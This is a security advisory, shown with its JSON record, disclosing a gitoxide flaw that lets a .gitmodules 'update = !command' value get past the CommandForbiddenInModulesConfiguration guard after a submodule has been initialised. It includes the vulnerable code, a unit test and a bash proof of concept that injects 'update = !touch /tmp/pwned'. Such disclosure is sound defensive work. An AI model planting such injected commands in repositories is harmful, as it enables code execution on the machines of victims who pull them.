GHSA-F26G-JM89-4G65

Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-05-05 19:23
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains: ini [submodule "sub"] active = true url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains: ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
    update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that: 1. Calls Submodule::update() to determine the update strategy, and 2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.83.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-349",
      "CWE-501",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:23:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]\u0027s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "id": "GHSA-f26g-jm89-4g65",
  "modified": "2026-05-05T19:23:45Z",
  "published": "2026-05-05T19:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…